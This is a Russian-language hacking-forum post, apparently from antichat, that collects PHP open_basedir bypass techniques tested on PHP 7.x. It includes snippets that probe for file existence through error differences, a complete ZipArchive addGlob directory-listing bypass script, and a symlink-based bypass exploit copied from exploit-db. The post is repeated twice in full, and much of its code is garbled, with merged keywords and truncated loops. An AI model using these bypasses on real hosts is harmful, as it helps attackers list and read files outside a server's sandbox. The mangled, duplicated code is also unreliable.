Baskin-Robbins
22.09.2019, 18:58
По мотивам https://rdot.org/forum/showthread.php?t=1043
Старая тема о главном + немного добавим с гугла + тесты на 7 ветке === этот тред.
Вобщем что завелось у меня.
Ну и сразу crlf (https://antichat.com/members/285197/) подсказывает прикрепить ссыль на эту тему (https://antichat.com/threads/470018/), ибо "т.к. имея выполнение команд, байпасс бейсдира не сильно нужен"
Глава первая. Вспомнить всё...
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
finfo_*
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
PHP:
$finfo=finfo_open(FILEINFO_MIME);$filename="/etc";var_dump(finfo_file($finfo,$filename));
Ругается на опенбэйздир или на отсутствие директории в зависимости от наличия директории.
Тест:
7.0.26
7.3.8-1
----------------------------------------------------------------------------------------------------------------------------------------------------------------
Glob(). Разный результат для отсутствующих и существующих файлов.
----------------------------------------------------------------------------------------------------------------------------------------------------------------
PHP:
var_dump(glob('/etc/hosts'));
var_dump(glob('/etc/does-not-exist'));
отсутствует:
array(0){}
присутствует:
bool(false)
Тест:
7.0.26
7.3.8-1
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
opendir()+readdir()+glob://
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
https://bugs.php.net/bug.php?id=73891
Разные ошибки для существующих и отсутствующих директорий.
Если использовать с glob:// то получим листинг.
PHP:
if ($dh=opendir($_GET['dir'])) {
while (($file=readdir($dh)) !==f alse) {
echo"$file\n";
}
closedir($dh);
}
Code:
http://localhost/1.php?dir=glob:///*
DirectoryIterator
PHP:
',ini_get('open_basedir'));
$file_list= array();
$it= newDirectoryIterator("glob:///*");
foreach ($itas$f){
$file_list[] =$f->__toString();
}
$it= newDirectoryIterator("glob:///.*");
foreach ($itas$f){
$file_list[] =$f->__toString();
}
sort($file_list);
foreach ($file_listas$f){
echo"{$f}
";
}
Тест:
7.0.26
7.3.8-1
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Не баг, а фича - функции posix_*
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
http://bugs.php.net/bug.php?id=16733
PHP:
PHP:
Тест:
7.0.26
7.3.8-1
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
imap_open()
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
https://bugs.php.net/bug.php?id=37265
PHP:
$string='/etc';imap_open($string,"","");
Снова разница в ошибках.
Тест:
7.3.8-1
PHP:
open_basedir: ';
if(ini_get('open_basedir'))
echo"".ini_get('open_basedir')."\n";
else
echo"false\n";
echo'Directory listing of '.$path."\n";
while(count($s=inc($s,0)) ";
functioncheck($s) {
global$alphabet,$path,$windows;
$str='a';
for($i=0;$i
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Realpath().
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
http://bugs.php.net/bug.php?id=41492
Тест:
7.0.26
7.3.8-1
PHP:
open_basedir: ';
if(ini_get('open_basedir'))
echo"".ini_get('open_basedir')."\n";
else
echo"false\n";
echo'Directory listing of '.$path."\n";
while(count($s=inc($s,0)) ";
functioncheck($s) {
global$alphabet,$path,$windows;
$str='a';
for($i=0;$i
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
include - разница в ошибках.
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Тест:
7.3.8-1
PHP:
0) {
echo$str.$ext.'
';
}
}
set_error_handler("eh");
echo'open_basedir = '.ini_get('open_basedir'). '
';
echo'include_path = '.ini_get('include_path'). '
';
echo'set include_path = '.$dir.'
';
ini_set('include_path',$dir);
echo'include_path = '.ini_get('include_path'). '
';
$s= array();
while(count($s=inc($s,0))
Глава вторая. Окей, гугл!
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Is_dir().
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
https://bugs.php.net/bug.php?id=69240
PHP:
var_dump(is_dir("/etc/passwd"));
var_dump(is_dir("/etc/passwd2"));
Тест:
7.0.26
7.3.8-1
PHP:
open_basedir: ';
if(ini_get('open_basedir'))
echo"".ini_get('open_basedir')."\n";
else
echo"false\n";
echo'Directory listing of '.$path."\n";
while(count($s=inc($s,0)) ";
functioncheck($s) {
global$alphabet,$path,$windows;
$str='a';
for($i=0;$i
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Bindtextdomain
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Существует:
string(4) "/etc"
Отсутствует:
bool(false)
Тест:
7.0.26
7.3.8-1
PHP:
open_basedir: %s
',ini_get('open_basedir'));
$re=bindtextdomain('xxx',$_GET['dir']);
var_dump($re);
?>
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
SplFileInfo + getRealPath
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Аналогично
Существует:
string(4) "/etc"
Отсутствует:
bool(false)
Тест:
7.0.26
7.3.8-1
PHP:
open_basedir: '.ini_get('open_basedir') .'
';
$info= newSplFileInfo($_GET['dir']);
var_dump($info->getRealPath());
?>
Глава третья. Самое вкусное...
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
ZipArchive->addGlob
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Тест:
7.3.8-1
PHP:
addGlob open_basedir bypass, Directory Listing , by BlackFan
# 20.12.11
if(stripos(PHP_OS,'win') !==FALSE)
die('Windows glob does not sup port negative character classes');
if(!class_exists('ZipArchive'))
die('Class ZipArchive not found ');
$starttime=microtime(true);
$dir="/";
$R=false;
$regexp="/File\((.*)\) is not within/";
if(isset($_GET['dir']))$dir= ((string)$_GET['dir']);
if(isset($_GET['R']) and$_GET['R'] =='on')$R=true;
$dir=$dir.((substr($dir,-1) =='/') ?'':'/');
echo"open_basedir bypass, Directory Listing, by Bl ackFan";
echo"";
echo"Directory (absolute path): ";
echo" -R ";
echo"";
echo"";
$glob_dirs= array();
$dirs= array();
$files= array();
$lastfile='';
$tmp_zip_name="openbd.zip";
$z= newZipArchive();
$z->open($tmp_zip_name,ZIPARCHIVE::CREATE);
set_error_handler("error_handler");
$patterns_queue= array('*','.*');
$checked_chars= array();
$count=0;
do {
$lastfile='';
$z->addGlob($dir.array_shift($patterns_queue)."*",GLOB_MARK);
if($lastfile!=='') {
$is_dir= (substr($lastfile,-1) ==='/');
if(($Ror !$is_dir) andsu bstr($lastfile,-3) !=='../') {
array_push($patterns_queue,$lastfile.'?');
if($is_dir) {
array_push($patterns_queue,$lastfile.'.*');
}
}
$lenlf=strlen($lastfile);
for($i=1;$i";
if(count($dirs) !==0orcount($files) !==0 ) {
foreach($dirsas$item) {
$fp=$dir.$item;
if(substr($item,-3) =='../') {
$tmp=substr(($fp),0,strpos($fp,'/../'));
$tmp=substr($tmp,0,strrpos($tmp,'/'));
echo"{$item}
";
} else {
echo"{$item}
";
}
}
foreach($filesas$item) {
echo$item."
";
}
} else {
echo"Access denied or open_basedir = Off, back";
}
echo"\n\n$countglob iteration";
echo"\n".(count($dirs)+count($files))." files";
$z->close();
if(file_exists($tmp_zip_name))
unlink($tmp_zip_name);
echo"\nTime: ".(microtime(true) -$starttime)." seconds";
echo"";
functionerror_handler($errno,$errstr,$errf ile,$errline){
global$glob_dirs,$regexp,$lastfile ,$dir,$dirs,$files;
preg_match($regexp,$errstr,$o);
if(isset($o[1])){
$lastfile=substr($o[1],strpos($o[1],$dir)+strlen($dir));
if(!in_array($lastfile,$gl ob_dirs)) {
$glob_dirs[] =$lastfile;
if(substr($lastfil e,-1) =='/')
$dirs[] =$lastfile;
else
$files[] =$lastfile;
} else {
$lastfile='';
}
}
}
?>
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Symlink() - отработало без вопросов.
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Тест:
7.3.8-1
Эксплоит взят с https://www.exploit-db.com/exploits/10557
PHP:
This is exploit from Security Audit Lab - SecurityReason labs.
Author : Maksymilian Arciemowicz
Script for legal use only.
PHP 5.2.12 5.3.1 symlink open_basedir bypass
More: SecurityReason
';
if(empty($file))
exit;
if(!is_writable("."))
die("not writable directory");
$level=0;
for($as=0;$ascheck symlink symlink'.$num.' file ');
?>
Старая тема о главном + немного добавим с гугла + тесты на 7 ветке === этот тред.
Вобщем что завелось у меня.
Ну и сразу crlf (https://antichat.com/members/285197/) подсказывает прикрепить ссыль на эту тему (https://antichat.com/threads/470018/), ибо "т.к. имея выполнение команд, байпасс бейсдира не сильно нужен"
Глава первая. Вспомнить всё...
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
finfo_*
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
PHP:
$finfo=finfo_open(FILEINFO_MIME);$filename="/etc";var_dump(finfo_file($finfo,$filename));
Ругается на опенбэйздир или на отсутствие директории в зависимости от наличия директории.
Тест:
7.0.26
7.3.8-1
----------------------------------------------------------------------------------------------------------------------------------------------------------------
Glob(). Разный результат для отсутствующих и существующих файлов.
----------------------------------------------------------------------------------------------------------------------------------------------------------------
PHP:
var_dump(glob('/etc/hosts'));
var_dump(glob('/etc/does-not-exist'));
отсутствует:
array(0){}
присутствует:
bool(false)
Тест:
7.0.26
7.3.8-1
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
opendir()+readdir()+glob://
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
https://bugs.php.net/bug.php?id=73891
Разные ошибки для существующих и отсутствующих директорий.
Если использовать с glob:// то получим листинг.
PHP:
if ($dh=opendir($_GET['dir'])) {
while (($file=readdir($dh)) !==f alse) {
echo"$file\n";
}
closedir($dh);
}
Code:
http://localhost/1.php?dir=glob:///*
DirectoryIterator
PHP:
',ini_get('open_basedir'));
$file_list= array();
$it= newDirectoryIterator("glob:///*");
foreach ($itas$f){
$file_list[] =$f->__toString();
}
$it= newDirectoryIterator("glob:///.*");
foreach ($itas$f){
$file_list[] =$f->__toString();
}
sort($file_list);
foreach ($file_listas$f){
echo"{$f}
";
}
Тест:
7.0.26
7.3.8-1
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Не баг, а фича - функции posix_*
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
http://bugs.php.net/bug.php?id=16733
PHP:
PHP:
Тест:
7.0.26
7.3.8-1
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
imap_open()
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
https://bugs.php.net/bug.php?id=37265
PHP:
$string='/etc';imap_open($string,"","");
Снова разница в ошибках.
Тест:
7.3.8-1
PHP:
open_basedir: ';
if(ini_get('open_basedir'))
echo"".ini_get('open_basedir')."\n";
else
echo"false\n";
echo'Directory listing of '.$path."\n";
while(count($s=inc($s,0)) ";
functioncheck($s) {
global$alphabet,$path,$windows;
$str='a';
for($i=0;$i
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Realpath().
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
http://bugs.php.net/bug.php?id=41492
Тест:
7.0.26
7.3.8-1
PHP:
open_basedir: ';
if(ini_get('open_basedir'))
echo"".ini_get('open_basedir')."\n";
else
echo"false\n";
echo'Directory listing of '.$path."\n";
while(count($s=inc($s,0)) ";
functioncheck($s) {
global$alphabet,$path,$windows;
$str='a';
for($i=0;$i
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
include - разница в ошибках.
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Тест:
7.3.8-1
PHP:
0) {
echo$str.$ext.'
';
}
}
set_error_handler("eh");
echo'open_basedir = '.ini_get('open_basedir'). '
';
echo'include_path = '.ini_get('include_path'). '
';
echo'set include_path = '.$dir.'
';
ini_set('include_path',$dir);
echo'include_path = '.ini_get('include_path'). '
';
$s= array();
while(count($s=inc($s,0))
Глава вторая. Окей, гугл!
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Is_dir().
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
https://bugs.php.net/bug.php?id=69240
PHP:
var_dump(is_dir("/etc/passwd"));
var_dump(is_dir("/etc/passwd2"));
Тест:
7.0.26
7.3.8-1
PHP:
open_basedir: ';
if(ini_get('open_basedir'))
echo"".ini_get('open_basedir')."\n";
else
echo"false\n";
echo'Directory listing of '.$path."\n";
while(count($s=inc($s,0)) ";
functioncheck($s) {
global$alphabet,$path,$windows;
$str='a';
for($i=0;$i
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Bindtextdomain
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Существует:
string(4) "/etc"
Отсутствует:
bool(false)
Тест:
7.0.26
7.3.8-1
PHP:
open_basedir: %s
',ini_get('open_basedir'));
$re=bindtextdomain('xxx',$_GET['dir']);
var_dump($re);
?>
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
SplFileInfo + getRealPath
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Аналогично
Существует:
string(4) "/etc"
Отсутствует:
bool(false)
Тест:
7.0.26
7.3.8-1
PHP:
open_basedir: '.ini_get('open_basedir') .'
';
$info= newSplFileInfo($_GET['dir']);
var_dump($info->getRealPath());
?>
Глава третья. Самое вкусное...
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
ZipArchive->addGlob
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Тест:
7.3.8-1
PHP:
addGlob open_basedir bypass, Directory Listing , by BlackFan
# 20.12.11
if(stripos(PHP_OS,'win') !==FALSE)
die('Windows glob does not sup port negative character classes');
if(!class_exists('ZipArchive'))
die('Class ZipArchive not found ');
$starttime=microtime(true);
$dir="/";
$R=false;
$regexp="/File\((.*)\) is not within/";
if(isset($_GET['dir']))$dir= ((string)$_GET['dir']);
if(isset($_GET['R']) and$_GET['R'] =='on')$R=true;
$dir=$dir.((substr($dir,-1) =='/') ?'':'/');
echo"open_basedir bypass, Directory Listing, by Bl ackFan";
echo"";
echo"Directory (absolute path): ";
echo" -R ";
echo"";
echo"";
$glob_dirs= array();
$dirs= array();
$files= array();
$lastfile='';
$tmp_zip_name="openbd.zip";
$z= newZipArchive();
$z->open($tmp_zip_name,ZIPARCHIVE::CREATE);
set_error_handler("error_handler");
$patterns_queue= array('*','.*');
$checked_chars= array();
$count=0;
do {
$lastfile='';
$z->addGlob($dir.array_shift($patterns_queue)."*",GLOB_MARK);
if($lastfile!=='') {
$is_dir= (substr($lastfile,-1) ==='/');
if(($Ror !$is_dir) andsu bstr($lastfile,-3) !=='../') {
array_push($patterns_queue,$lastfile.'?');
if($is_dir) {
array_push($patterns_queue,$lastfile.'.*');
}
}
$lenlf=strlen($lastfile);
for($i=1;$i";
if(count($dirs) !==0orcount($files) !==0 ) {
foreach($dirsas$item) {
$fp=$dir.$item;
if(substr($item,-3) =='../') {
$tmp=substr(($fp),0,strpos($fp,'/../'));
$tmp=substr($tmp,0,strrpos($tmp,'/'));
echo"{$item}
";
} else {
echo"{$item}
";
}
}
foreach($filesas$item) {
echo$item."
";
}
} else {
echo"Access denied or open_basedir = Off, back";
}
echo"\n\n$countglob iteration";
echo"\n".(count($dirs)+count($files))." files";
$z->close();
if(file_exists($tmp_zip_name))
unlink($tmp_zip_name);
echo"\nTime: ".(microtime(true) -$starttime)." seconds";
echo"";
functionerror_handler($errno,$errstr,$errf ile,$errline){
global$glob_dirs,$regexp,$lastfile ,$dir,$dirs,$files;
preg_match($regexp,$errstr,$o);
if(isset($o[1])){
$lastfile=substr($o[1],strpos($o[1],$dir)+strlen($dir));
if(!in_array($lastfile,$gl ob_dirs)) {
$glob_dirs[] =$lastfile;
if(substr($lastfil e,-1) =='/')
$dirs[] =$lastfile;
else
$files[] =$lastfile;
} else {
$lastfile='';
}
}
}
?>
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Symlink() - отработало без вопросов.
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
Тест:
7.3.8-1
Эксплоит взят с https://www.exploit-db.com/exploits/10557
PHP:
This is exploit from Security Audit Lab - SecurityReason labs.
Author : Maksymilian Arciemowicz
Script for legal use only.
PHP 5.2.12 5.3.1 symlink open_basedir bypass
More: SecurityReason
';
if(empty($file))
exit;
if(!is_writable("."))
die("not writable directory");
$level=0;
for($as=0;$ascheck symlink symlink'.$num.' file ');
?>